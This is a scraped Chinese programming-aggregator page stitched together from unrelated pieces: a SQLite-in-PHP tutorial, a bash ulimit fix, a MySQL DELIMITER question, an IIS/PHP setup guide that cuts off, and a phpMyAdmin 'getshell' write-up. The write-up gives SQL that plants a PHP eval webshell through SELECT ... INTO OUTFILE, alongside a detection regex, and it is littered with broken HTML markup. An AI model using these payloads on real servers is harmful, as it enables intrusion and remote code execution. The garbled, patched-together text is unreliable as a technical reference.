www.91084.com

GVKun编程网logo

SQLite in PHP 引自Shimizu(sql.php)

22

本文的目的是介绍SQLiteinPHP引自Shimizu的详细情况,特别关注sql.php的相关信息。我们将通过专业的研究、有关数据的分析等多种方式,为您呈现一个全面的了解SQLiteinPHP引自S

本文的目的是介绍SQLite in PHP 引自Shimizu的详细情况,特别关注sql.php的相关信息。我们将通过专业的研究、有关数据的分析等多种方式,为您呈现一个全面的了解SQLite in PHP 引自Shimizu的机会,同时也不会遗漏关于-bash: ulimit: pipe size: cannot modify limit: ...、delimiter-MySql中的DELIMITER $$ 问题?、Getshell Via phpmyadmin SQL Execution In /import.php To Writ、IIS php环境配置PHP5 MySQL5 ZendOptimizer phpmyadmin安装与配置的知识。

本文目录一览:

SQLite in PHP 引自Shimizu(sql.php)

SQLite in PHP 引自Shimizu(sql.php)

SQLite in PHP


sqlite in PHP

BinzyWu@phpe/文

关键词: sqlite,MysqL,PHP4,PHP5,Pear,触发器,视图,sql

(一)sqlite介绍

sqlite第一个Alpha版本诞生于2000年5月.至今已经有4个年头了.而在今年的5月sqlite也迎来了一个新的里程: sqlite 3.

下面是你访问sqlite官方网站: www.sqlite.org时第一眼看到关于sqlite的特性.

1.ACID事务

2.零配置–无需安装和管理配置

3.储存在单一磁盘文件中的一个完整的数据库

4.数据库文件可以在不同字节顺序的机器间自由的共享

5.支持数据库大小至2TB

6.足够小,大致3万行C代码,250K

7.比一些流行的数据库在大部分普通数据库操作要快

8.简单,轻松的API

9.包含TCL绑定,同时通过Wrapper支持其他语言的绑定

10.良好注释的源代码,并且有着90%以上的测试覆盖率

11.独立:没有额外依赖

12.source完全的Open,你可以用于任何用途,包括出售它

从代码架构图你可以轻松的看出,是的,sqlite非常简单.对,sqlite的设计思想就是简单:

1.简单的管理

2.简单的操作

3.简单的在程序中使用它

4.简单的维护和客制化

因为简单所以它快速,但虽然简单,却仍非常可靠.适合sqlite的应用场所有,网站,嵌入式设备和应用,应用程序文件格式,代替特别的文件,内部或临时数据库,命令行数据集分析工具,在演示或测试中代替企业级数据库,数据库教学,试验sql语言扩展等.但并不是所有都合适,比如在使用Server/Client结构的时候,高负荷的网站,高并发等情况下并不建议使用sqlite.

本文重点在于介绍sqlite在PHP中的应用,PHP作为Web应用中一个重要力量一直在不断的前进和发展.在马上就要Release的PHP的第五个版本中,不再将MysqL作为默认支持,而转为将sqlite的扩展作为默认支持.从某种程度上说MysqL的广泛应用有PHP的很大功劳.虽然说PHP改变默认支持有MysqL的授权改变的原因,但选择sqlite也是有原因的,理由就在于上面所提到的那些特性.其实MysqL从来就不是完全免费的,你无法用于商业用途.而sqlite是完全的open的.

(二)sqlite sql

sqlite的sql从很大程度上实现了ANSI sql92标准.特别的sqlite支持视图,事务,支持嵌套sql.这些都会在下面应用的过程中讲到,故这边先暂时放下,而主要说说sqlite所不支持的一些sql.

1.不支持Exists,虽然支持in(in是Exists的一种情况)

2.不支持多数据库,如: create table db1.table1 as select * from db2.table1;

3.不支持存储过程

4.不支持Alter View/Trigger/Table

5.不支持Truncate,在sqlite中Delete不带Where字句时和Truncate的效果是一样的.

6.不支持Floor和Ceiling函数,还有其他蛮多的函数

7.没有Auto Increment(自增)字段,但是sqlite其实是支持Auto Increment的,即在将该字段设置为”INTEGER PRIMARY KEY”的时候.

8.不支持If Exists

……

详细的sql支持可以访问: http://www.sqlite.org/lang.htm

详细的不支持sql可以访问:http://www.sqlite.org/cvstrac/wiki?p=UnsupportedSql

() sqlite的数据类型

首先你会接触到一个让你惊讶的名词: Typelessness(无类型).对! sqlite是无类型的.这意味着你可以保存任何类型的数据到你所想要保存的任何表的任何列中,无论这列声明的数据类型是什么(只有在一种情况下不是,稍后解释).对于sqlite来说对字段不指定类型是完全有效的.如:

Create Table ex1(a,b,c);

诚然sqlite允许忽略数据类型,但是仍然建议在你的Create Table语句中指定数据类型.因为数据类型对于你和其他的程序员交流,或者你准备换掉你的数据库引擎. sqlite支持常见的数据类型,如:

CREATE TABLE ex2(

a VARCHAR(10),

b NVARCHAR(15),

c TEXT,

d INTEGER,

e FLOAT,

f BOOLEAN,

g CLOB,

h BLOB,

i TIMESTAMP,

j NUMERIC(10,5)

k varying CHaraCTER (24),

l NATIONAL varying CHaraCTER(16)

);

前面提到在某种情况下,sqlite的字段并不是无类型的.即在字段类型为”Integer Primary Key”时.

Wrapper

由于sqlite有别于其他数据库引擎的TCP/IP或RPC访问方式,完全地是本地的操作,从某种角度来说你可以说sqlite和MS的Access很相似,但是更小更强大.所谓Wrapper即使对sqlite提供的接口进行封装,使其他语言可以访问,使用sqlite.

sqlite本身是提供C和Tcl的接口的.所以可以非常轻易的和PHP相结合.除了PHP的Wrapper以外,还有许多世界各地的程序员提供了各种语言的sqlite的接口封装,如Python,C++,Java,.Net……所流行的语言基本都有.

) PHP的环境下使用sqlite

1. PHP下的安装

在PHP5中,sqlite已作为默认支持的模块.在PHP4中你需要进行安装.首先去http://pecl.PHP.net/package/sqlite去下载到sqlite的扩展,注意Windows下的版本需要去http://snaps.PHP.net/win32/PECL_STABLE/PHP_sqlite.dll下载,当然你也可以下载代码自己编译.事实上在linux下只需要使用命令: ‘pear install sqlite’就可以完成安装,而在Win下需要修改PHP.ini,同样的使PHP4支持sqlite.

此时你已经无需再安装任何东西了,而你也已经完全支持sqlite了,一个简单,快速,可靠的数据库.

如果你需要一个管理软件,那么你可以尝试使用sqliteManager (www.sqlitemanager.org),一个与PHPMyAdmin类似的针对sqlite的数据库管理系统.

该系统的界面大致如下:

2.第一个使用sqlite的PHP程序.

我们创建一个叫binzy的数据库,并创建一个叫Binzy的Table,有2个字段,分别是ID,Title.而其中ID为INTEGER PRIMARY KEY,即自增三主键.并在其中插入了2条数据”Binzy”,“Jasmin”.

打开并显示数据:

if ($db = sqlite_open('../binzy.db',0666,$sqliteerror))

{//打开

sqlite$result = sqlite_query($db,'select * from Binzy'); //查询while($row = sqlite_fetch_array($result)) //获得结果

{

print 'ID=>'.$row['MyID'].',Name=>'.$row['Name'].'<br />';

}

} else {die ($sqliteerror);}

结果如下,

接下来Insert一条记录,其中我们会使用到sqlite的事务.

if ($db = sqlite_open('../binzy.db',$sqliteerror)) {

sqlite_query($db,'BEGIN TRANSACTION'); //开始事务

if (@sqlite_query($db,'insert into Binzy (Name) values (/'Binzy&Jasmin/')'))

{

print 'Execute Successfully';

sqlite_query($db,'COMMIT TRANSACTION'); //提交事务

}

else

{

print sqlite_error_string(sqlite_last_error($db));

sqlite_query($db,'ROLLBACK TRANSACTION'); //回滚事务

}

} else {

die ($sqliteerror);

}

如果执行失败,便会出现这样的画面,

成功则是这样的,

是的,如果你已经熟悉使用PHP对MysqL之类的数据库进行操作,那么sqlite几乎是一样的,而且更为简洁.

3.使用Pear::DB (PHP4中)

上面的例子中我们是使用PHP的函数直接对sqlite进行访问,这样的访问方式是不推荐使用的.更好的方式是使用某种数据访问抽象层,如Pear的DB.下面是2中查询例子的重写.使用某个数据访问抽象层会更方便更安全,并且可以在需要进行数据库迁移的时候尽可能减小成本.

require_once('DB.PHP');

$dbh = DB::connect('sqlite://@localhost/../binzy.db?mode=0666'); //打开

$dbh->setFetchMode(DB_FETCHMODE_ASSOC);

if (!DB::isError($dbh))

{

$result = $dbh->query('select * from Binzy'); //查询

if (!DB::isError($result))

{

while($row = $result->fetchRow()) //读取

{print 'ID=>'.$row['MyID'].',Name=>'.$row['Name'].'<br />';

}

$dbh->disconnect();

}

else

{

print($dbh->message);

$dbh->disconnect();

}

}

else

{

print($dbh->message);

$dbh->disconnect();

}

4.使用Creole (PHP5中)

Creole是由PHPdb.org开发的面向PHP5的数据访问抽象层.关于Creole可参考本期中的《Creole:新兴数据抽象层》.

Pear::DB并没有针对PHP5进行改变,只是因为PHP5对PHP4良好的兼容性,使得Pear::DB在PHP5下仍能很好的工作.所以在你使用PHP5的时候推荐使用Creole.

require_once('creole/Creole.PHP');

$Connection = null;

try{

$Connection = Creole::getConnection('sqlite://@localhost/../binzy.db?mode=0644'); //获得Connection

$rs = $Connection->executeQuery('select * from Binzy'); // Get ResultSetwhile($rs->next())

{

print 'ID=>'.$rs->getInt('myid').',Name=>'.$rs->getString('name').'<br />';

}

$Connection->close();

}

catch(sqlException $exception) // Catch Exception

{

$Connection->close();

print $exception->getMessage();

}

)总结

随着PHP5的即将到来,给我们带来了许多新的语言特性,使PHP更加适合于构建强大健壮的各类系统.而随着PHP5一起走进PHP开发人员视线的sqlite则给我们带来了有别于MysqL的惊喜.是的,他简单却又强大,稳定.而在刚刚过去的六月底新版本的sqlite3已经Release了第一个测试版本,不仅仅带来了新的文件结构,也带来了许多新的特性.

-bash: ulimit: pipe size: cannot modify limit: ...

-bash: ulimit: pipe size: cannot modify limit: ...


2012-02-07 10:46:54| 分类: 默认分类 | 标签: |字号 订阅

在由root用户切换到Oracle用户时,出现如题所示的问题。

解决办法:在Oracle用户下,vi编辑器打开.bash_profile文件。

配置该文件时有这么一段:

if [ $USER = "oracle" ]; then
if [ $SHELL = "/bin/ksh" ]; then
ulimit -p 16384
ulimit -n 65536
else
ulimit -u 16384 -n 65536
fi
fi
第一、第二行的“=”两边添加空格,这样就ok了!

delimiter-MySql中的DELIMITER $$ 问题?

delimiter-MySql中的DELIMITER $$ 问题?

delimitermysql数据库


错误

sql 执行错误 # 1064. 从数据库的响应:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''DELIMITER $$'' at line 1

确定

这个问题怎么解决?我的mysql版本是 mysql-5.6.27,这个语句不能用吗?
好像是美元符号不能用,请高手帮忙解答。

Getshell Via phpmyadmin SQL Execution In /import.php To Writ

Getshell Via phpmyadmin SQL Execution In /import.php To Writ

目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接

目录

<span>1</span><span>. 漏洞描述
</span><span>2</span><span>. 漏洞触发条件
</span><span>3</span><span>. 漏洞影响范围
</span><span>4</span><span>. 漏洞代码分析
</span><span>5</span><span>. 防御方法
</span><span>6</span>. 攻防思考
登录后复制

 

1. 漏洞描述

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性


2. 漏洞触发条件

立即学习“PHP免费学习笔记(深入)”;

<span>1</span><span>. 已知phpmyadmin的root密码,即mysql的root密码(phpmyadmin只是通过web方式连接mysql的工具)
    </span><span>1</span><span>) mysql本身默认的弱口令
    </span><span>2</span><span>) 通过其他漏洞(例如注入)获得了mysql的root密码
</span><span>2</span><span>. 已知网站的物理路径
    </span><span>1</span>) 在phpmyadmin的后台的<span>"</span><span>变量</span><span>"</span><span>tab页面,可以看到mysql的物理路径,从而推测出网站的物理路径
    </span><span>2</span>) 通过其他web漏洞获得网站的物理路径
登录后复制

通过phpmyadmin进行getshell的核心就是通过sql进行文件写的操作,常见的sql如下

----<span>1</span>---<span>
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(</span><span>''</span><span><?php @eval($_POST[cmd])?></span><span>''</span><span>);
</span><span>select</span> cmd <span>from</span> a into outfile <span>''</span><span> C:/htdocs/1.php</span><span>''</span><span>;   
Drop TABLE IF EXISTS a;
DROP TABLE IF EXISTS `a`;
</span>----<span>1</span>---

----<span>2</span>---
<span>select</span> <span>''</span><span><?php @eval($_POST[pass]);?></span><span>''</span>INTO OUTFILE <span>''</span><span>d:/wamp/www/exehack.php</span><span>''</span>
----<span>2</span>---
登录后复制

Relevant Link:

http:<span>//</span><span>www.exehack.net/681.html</span>
http:<span>//</span><span>www.exehack.net/99.html</span>
http:<span>//</span><span>www.187299.com/archives/1695</span>
登录后复制


3. 漏洞影响范围

全部phpmyadmin版本


4. 漏洞代码分析

/phpMyAdmin/import.php

所有处理用户自定义SQL解析执行的逻辑都在这个PHP文件中实现

<span>/*</span><span>
this code point is important
$import_text is the one that need to be check strictly
</span><span>*/</span>
<span>if</span><span> ($go_sql) 
{
    </span><span>//</span><span> parse sql query</span>
    include_once <span>''</span><span>libraries/parse_analyze.inc.php</span><span>''</span><span>;

    </span><span>if</span> (isset($ajax_reload) &amp;&amp; $ajax_reload[<span>''</span><span>reload</span><span>''</span>] === <span>true</span><span>) 
    {
        $response </span>=<span> PMA_Response::getInstance();
        $response</span>-&gt;addJSON(<span>''</span><span>ajax_reload</span><span>''</span><span>, $ajax_reload);
    }
    PMA_executeQueryAndSendQueryResponse(
        $analyzed_sql_results, </span><span>false</span>, $db, $table, <span>null</span>, $import_text, <span>null</span><span>,
        $analyzed_sql_results[</span><span>''</span><span>is_affected</span><span>''</span>], <span>null</span><span>,
        </span><span>null</span>, <span>null</span>, <span>null</span>, $<span>goto</span>, $pmaThemeImage, <span>null</span>, <span>null</span>, <span>null</span><span>, $sql_query,
        </span><span>null</span>, <span>null</span><span>
    );
} 
</span><span>else</span> <span>if</span><span> ($result) 
{
    </span><span>//</span><span> Save a Bookmark with more than one queries (if Bookmark label given).</span>
    <span>if</span> (! empty($_POST[<span>''</span><span>bkm_label</span><span>''</span>]) &amp;&amp; !<span> empty($import_text)) 
    {
        PMA_storeTheQueryAsBookmark(
            $db, $GLOBALS[</span><span>''</span><span>cfg</span><span>''</span>][<span>''</span><span>Bookmark</span><span>''</span>][<span>''</span><span>user</span><span>''</span><span>],
            $import_text, $_POST[</span><span>''</span><span>bkm_label</span><span>''</span><span>],
            isset($_POST[</span><span>''</span><span>bkm_replace</span><span>''</span>]) ? $_POST[<span>''</span><span>bkm_replace</span><span>''</span>] : <span>null</span><span>
        );
    }

    $response </span>=<span> PMA_Response::getInstance();
    $response</span>-&gt;isSuccess(<span>true</span><span>);
    $response</span>-&gt;addJSON(<span>''</span><span>message</span><span>''</span><span>, PMA_Message::success($msg));
    $response</span>-&gt;<span>addJSON(
        </span><span>''</span><span>sql_query</span><span>''</span><span>,
        PMA_Util::getMessage($msg, $sql_query, </span><span>''</span><span>success</span><span>''</span><span>)
    );
} 
</span><span>else</span> <span>if</span> ($result == <span>false</span><span>) 
{
    $response </span>=<span> PMA_Response::getInstance();
    $response</span>-&gt;isSuccess(<span>false</span><span>);
    $response</span>-&gt;addJSON(<span>''</span><span>message</span><span>''</span><span>, PMA_Message::error($msg));
} 
</span><span>else</span><span> 
{
    $active_page </span>= $<span>goto</span><span>;
    include </span><span>''''</span> . $<span>goto</span><span>;
}</span>
登录后复制


5. 防御方法

对变量$import_text进行恶意检查是我们针对phpmyadmin执行sql导出文件getshell攻击的防御思路

<span>if</span>(preg_match(<span>"</span><span>/select.*into.*(outfile|dumpfile)/sim</span><span>"</span><span>, $import_text, $matches))
{
    echo </span><span>"</span><span>request error!</span><span>"</span> . <span>"</span><span></span><span>"</span> . $matches[<span>0</span><span>];
    die();
} </span>
登录后复制

要特别注意的是,在使用PHP的正则匹配引擎的时候,需要考虑到换行场景下的bypass风险
还需要注意的,MYSQL存在很多扩展语法,例如

<span>1</span><span>. 定义存储过程
</span><span>2</span><span>. 定义函数
</span><span>3</span><span>. 定义触发器
</span><span>4</span><span>. 使用语法预处理编译
</span><span>/*</span><span>
prepare stmt from ''select count(*) from information_schema.schemata'';
这里待编译的sql语句也可以进行字符变形以此进行bypass
execute stmt;
</span><span>*/</span>
登录后复制

Relevant Link:

http:<span>//</span><span>php.net/manual/en/function.preg-match.php#111573</span>
http:<span>//</span><span>blog.sina.com.cn/s/blog_3fe961ae01013r8f.html</span>
登录后复制

 

6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

IIS php环境配置PHP5 MySQL5 ZendOptimizer phpmyadmin安装与配置

IIS php环境配置PHP5 MySQL5 ZendOptimizer phpmyadmin安装与配置

本例是在wiondws XP下
IIS5.1
PHP5.2.1(zip)
MysqL5.0.37
PHPmyadmin2.10.0.2
ZendOptimizer-3.2.6
的安装与配置

IIS 的安装

1 在光驱中放入WindowsXP SP2系统安装光盘2 依次在 控制面板 > 添加与删除 > 添加/删除Windows组件 > Windows组件向导 中选中 Internet信息服务(IIS)
3 点击 下一步 进行文件复制,直到完成安装
4 完成 IIS 安装
5 打开浏览器,输入 http://localhost 出现下面的界面则说明安装成功了

MysqL 的安装

1 点击MysqL安装包
2 默认是Typical,如果想修改安装路径的话也可以选择custom.
注意:安装MysqL的路径中,不能含有中文!
3 点击intall开始安装
4 跳过注册
5 是否现在就配置 MysqL.也可以之后在开始菜单的configuration wizard 进行配置.
这里是现在进行配置
6 选择Detailed Configuration(详细设置),点Next继续
7 下面这个选项是选择MysqL应用于何种类型,第一种是开发<SPAN class=t_tag onclick=tagshow(event) href="tag.PHP?name=%B7%FE%CE%F1%C6%F7">服务器,
将只用尽量少的内存,第二种是普通WEB服务器,将使用中等数量内存,
最后一种是这台服务器上面只运行MysqL数据库,将占用全部的内存.
用户可根据自己的需求,选择选项.这里只选择开发服务器,点Next继续
8 下面是选择数据库用途,第一种是多功能用途,
将把数据库优化成很好的innodb(事务)存储类型和高效率的myisam(非事务)存储类型,
第二种是只用于事务处理类型,最好的优化innodb,但同时也支持myisam,只有myisam才支持全文索引
最后一种是简单的网络开发,适合于简单的应用,只有不支持事务的myisam类型是被支持的.
一般选择第一种多功能的.
9 下面是选择InnodDB的数据存放位置,一般默认好了,不需要改动
(如果要修改数据保存路径,也可用在安装后修改my.ini的datadir的值)
10 下面是选择MysqL允许的最大连接数,第一种是最大20个连接并发数,
第二种是最大500个并发连接数,最后 一种是自定义,你可以根据自己的需要选择.
这里选择第一个
11 下面是是否运行网络链接.这里选择复选框.数据库监听的端口,一般默认是3306,
如果改成其他端口,以后连接数据库的时候都要记住修改的端口,否则不能连接MysqL数据库,
比较麻烦,这里不做修改,用mysq的默认端口:3306
12 这一步设置MysqL的默认编码,默认是latin1,也是标准的编码.第二种是UTF8,第三种是手动设置.
编码是版本4.1以上引入的.如果要用原来数据库的数据,最好能确定原来数据库用的是什么编码,如果这里设置的编码
和原来数据库数据的编码不一致,在使用的时候可能会出现乱码.建议使用latin1标准编码
当然我们有需要的话,也可以修改它的编码(不建议).
13 这一步是是否要把MysqL设置成windows的服务,一般选择设成服务,
这样以后就可以通过服务中启动和关闭MysqL数据库了.推荐:下面的复选框也勾选上,
这样,在cmd模式下,不必非到MysqL的bin目录下执行命令.在命令行下咨询可以执行文件
14 这一步是设置MysqL的超级用户密码,这个超级用户非常重要,
对MysqL拥有全部的权限,请设置好并牢记超级用户的密码,
下面有个复选框是表示创建一个匿名账号,这会使数据库系统不安全.
如果有这个需求,也请勾选.
15 点击 Execute进行安装
16 点击 Finish 完成安装
17 我们可以开始使用MysqL了,打开 开始菜单 所有程序的 MysqL Command line Client,输入密码
出现这个界面说明MysqL已经安装好了
可能出现的问题: 如果在第15步,出现下图提示

是因为你之前装过MysqL.卸载时还保留了一些配置文件.点击retry看看是否可以通过。否则点击 cancel 退出.然后点击开始菜单的 MysqL Server Instance Config Wizard
重新配置 MysqL重复之前的操作.第14步将会出现界面是像下面这样

有三个输入密码的地方,你原来装过MysqL.
你在第一个文本框输入原来root的密码,后面两个文本框输入root的新密码就可以了如果还是不行那就重装一次MysqL。
重装注意事项:最好删除原来的所有文件,必要的话,可以清一下注册表,
如果你机器上没有其它MysqL相关的程序.而且一定记得不要保留原有的my.ini文件.
还有就是删除原来安装路径下的文件,并删除数据目录下面的ibdata1文件.更多文章 PHP爱好者站 http://www.PHPfans.net

PHP 的安装

由于PHP是一个zip文件(非install版),安装较为简单
解压就行.把解压的 PHP-5.2.1-Win32 重命名为 PHP5.并复制到C盘目录下.即安装路径为 c:\PHP5 1找到PHP目录下的 PHP.ini.recommended (或者PHP.ini-dist)文件,重命名为 PHP.ini
并复制到系统盘的windows目录下(以c:\windows为例). 2再把PHP目录下的PHP5ts.dll,libMysqL.dll复制到目录 c:\windows\system32下.3把PHP5\ext目录下的PHP_gd2.dll,PHP_MysqL.dll,PHP_mbstring.dll文件复制到c:\windows\system32下
如果没有加载 PHP_gd2.dllPHP将不能处理图像.没有加载PHP_MysqL.dll PHP将不支持MysqL函数库
PHP_mbstring.dll在后面使用PHPmyadmin时支持宽字符
更多文章 PHP爱好者站 http://www.PHPfans.net

ZendOptimizer 的安装

Zend Optimizer用优化代码的方法来提高程序的执行速度。执行使用Zend Optimizer的PHP程序比不使用的要快40%到100%。而且一些用Zend SafeGuard 加密过的文件,必须装了Zend Optimizer才可以运行.

注意:Zend Optimizer 的安装与否并不影响PHP正常运行,如果你觉得麻烦,这步可以省去。

1 点击安装Zend Optimizer
2 接受协议,点击next
3 选定安装路径
4 我们用的是IIS5.1,所以这里选 IIS
5 选定 PHP.ini 的位置.我们的是在 C:\WINDOWS\ 下
6 选定IIS默认安装路径.我们的是 C:\Inetpub\
7 点击 Install 进行安装
8 点击 是.安装程序自动完成配置和服务器重启.
9 点击 Finish 完成安装
所有东西安装完成后我们再进行配置

配置PHP并关联MysqL


打开c:\windows\PHP.ini文件
<DIV class=notice>以下内容需要回复才能看到

今天的关于SQLite in PHP 引自Shimizusql.php的分享已经结束,谢谢您的关注,如果想了解更多关于-bash: ulimit: pipe size: cannot modify limit: ...、delimiter-MySql中的DELIMITER $$ 问题?、Getshell Via phpmyadmin SQL Execution In /import.php To Writ、IIS php环境配置PHP5 MySQL5 ZendOptimizer phpmyadmin安装与配置的相关知识,请在本站进行查询。

本文标签: